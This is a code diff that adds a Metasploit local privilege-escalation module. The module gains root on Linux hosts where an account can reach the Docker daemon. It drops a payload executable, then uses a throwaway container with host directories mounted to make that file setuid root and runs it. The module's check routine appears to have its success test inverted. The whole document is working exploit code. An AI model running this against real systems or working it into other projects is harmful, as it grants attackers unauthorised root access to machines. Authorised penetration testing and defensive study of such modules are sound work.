|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + |
| 8 | + Rank = ExcellentRanking |
| 9 | + |
| 10 | + include Msf::Post::File |
| 11 | + include Msf::Exploit::EXE |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, { |
| 16 | + 'Name' => 'Docker Daemon Privilege Escalation', |
| 17 | + 'Description' => %q{ |
| 18 | + This module obtains root privileges from any host account with access to the |
| 19 | + Docker daemon. Usually this includes accounts in the `docker` group. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => ['forzoni'], |
| 23 | + 'DisclosureDate' => 'Jun 28 2016', |
| 24 | + 'Platform' => 'linux', |
| 25 | + 'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE], |
| 26 | + 'Targets' => [ ['Automatic', {}] ], |
| 27 | + 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 }, |
| 28 | + 'SessionTypes' => ['shell', 'meterpreter'] |
| 29 | + } |
| 30 | + )) |
| 31 | + register_advanced_options([ |
| 32 | + OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]) |
| 33 | + ], self.class) |
| 34 | + end |
| 35 | + |
| 36 | + def check |
| 37 | + if cmd_exec('docker ps && echo true') == 'true' |
| 38 | + print_error("Failed to access Docker daemon.") |
| 39 | + Exploit::CheckCode::Safe |
| 40 | + else |
| 41 | + Exploit::CheckCode::Vulnerable |
| 42 | + end |
| 43 | + end |
| 44 | + |
| 45 | + def exploit |
| 46 | + pl = generate_payload_exe |
| 47 | + exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}" |
| 48 | + print_status("Writing payload executable to '#{exe_path}'") |
| 49 | + |
| 50 | + write_file(exe_path, pl) |
| 51 | + register_file_for_cleanup(exe_path) |
| 52 | + |
| 53 | + print_status("Executing script to create and run docker container") |
| 54 | + vprint_status cmd_exec("chmod +x #{exe_path}") |
| 55 | + vprint_status shell_script(exe_path) |
| 56 | + vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'") |
| 57 | + |
| 58 | + print_status "Waiting #{datastore['WfsDelay']}s for payload" |
| 59 | + end |
| 60 | + |
| 61 | + def shell_script(exploit_path) |
| 62 | + deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']] |
| 63 | + dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ") |
| 64 | + |
| 65 | + %Q{ |
| 66 | + IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"` |
| 67 | + EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}" |
| 68 | + docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT" |
| 69 | + docker rmi -f $IMG |
| 70 | + #{exploit_path} |
| 71 | + }.strip.split("\n").map(&:strip).join(';') |
| 72 | + end |
| 73 | + |
| 74 | +end |
0 commit comments